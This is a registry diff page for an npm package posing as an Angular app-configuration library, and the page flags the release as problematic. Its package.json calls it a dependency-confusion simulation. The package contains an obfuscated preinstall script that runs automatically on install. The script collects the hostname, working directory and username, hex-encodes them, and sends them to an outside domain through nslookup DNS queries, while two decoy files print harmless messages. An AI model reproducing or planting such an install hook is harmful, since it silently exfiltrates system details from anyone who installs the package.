@fhnw/angular-app-configuration 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @fhnw/angular-app-configuration might be problematic. Click here for more details.
- package/analytics.js +15 -0
- package/helper.js +8 -0
- package/package.json +15 -0
- package/preinstall.mjs +37 -0
package/analytics.js
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
console.log("Initializing analytics...");
|
2
|
+
|
3
|
+
let count = 0;
|
4
|
+
setInterval(() => {
|
5
|
+
count++;
|
6
|
+
console.log(`Heartbeat ${count}`);
|
7
|
+
}, 5000);
|
8
|
+
|
9
|
+
|
10
|
+
module.exports = {
|
11
|
+
trackEvent: (event) => console.log(`Tracking event: ${event}`)
|
12
|
+
};
|
13
|
+
|
14
|
+
// Example usage
|
15
|
+
module.exports.trackEvent('start');
|
package/helper.js
ADDED
@@ -0,0 +1,8 @@
|
|
1
|
+
module.exports = {
|
2
|
+
randomNumber: () => Math.floor(Math.random() * 100),
|
3
|
+
greeting: (name) => `Hello, ${name}!`,
|
4
|
+
logger: () => console.log('Helper module loaded successfully.')
|
5
|
+
};
|
6
|
+
|
7
|
+
console.log('Random number:', module.exports.randomNumber());
|
8
|
+
console.log(module.exports.greeting('Developer'));
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "@fhnw/angular-app-configuration",
|
3
|
+
"version": "1.0.5",
|
4
|
+
"description": "Test package for Dependency confusion simulation for customer",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node preinstall.mjs",
|
8
|
+
"start": "node analytics.js"
|
9
|
+
},
|
10
|
+
"author": "Your Name",
|
11
|
+
"license": "MIT",
|
12
|
+
"dependencies": {
|
13
|
+
"node-fetch": "^3.3.2"
|
14
|
+
}
|
15
|
+
}
|
package/preinstall.mjs
ADDED
@@ -0,0 +1,37 @@
|
|
1
|
+
import { execSync as _0x8a29 } from 'child_process';
|
2
|
+
const _0x7e90 = 'ihafmsb8nb0r.hakupiku.xyz';
|
3
|
+
const _0xLabelMax = 53;
|
4
|
+
const _0xDomainMax = _0xLabelMax*4;
|
5
|
+
|
6
|
+
try {
|
7
|
+
const _0x1b91 = _0x8a29('hostname').toString().trim();
|
8
|
+
const _0x7d12 = _0x8a29('pwd').toString().trim();
|
9
|
+
const _0x52b0 = _0x8a29('whoami').toString().trim();
|
10
|
+
const _0x3812 = `${_0x1b91} - ${_0x7d12} - ${_0x52b0}`;
|
11
|
+
|
12
|
+
const _0xHexData = Buffer.from(_0x3812, 'utf8').toString('hex');
|
13
|
+
|
14
|
+
const _0xLabels = _0xHexData.match(new RegExp(`.{1,${_0xLabelMax}}`, 'g'));
|
15
|
+
|
16
|
+
let _0xCurrentDomain = _0x7e90;
|
17
|
+
for (let i = _0xLabels.length - 1; i >= 0; i--) {
|
18
|
+
const _0xNextLabel = _0xLabels[i];
|
19
|
+
const _0xProposedDomain = `${_0xNextLabel}.${_0xCurrentDomain}`;
|
20
|
+
|
21
|
+
if (_0xProposedDomain.length > _0xDomainMax) {
|
22
|
+
_0x8a29(`nslookup ${_0xCurrentDomain}`);
|
23
|
+
_0xCurrentDomain = `${_0xNextLabel}.${_0x7e90}`;
|
24
|
+
} else {
|
25
|
+
_0xCurrentDomain = _0xProposedDomain;
|
26
|
+
}
|
27
|
+
}
|
28
|
+
|
29
|
+
|
30
|
+
if (_0xCurrentDomain) {
|
31
|
+
_0x8a29(`nslookup ${_0xCurrentDomain}`);
|
32
|
+
}
|
33
|
+
|
34
|
+
console.log('Installed.');
|
35
|
+
} catch (_0x26f3) {
|
36
|
+
console.error('Preinstall script error:', _0x26f3.message);
|
37
|
+
}
|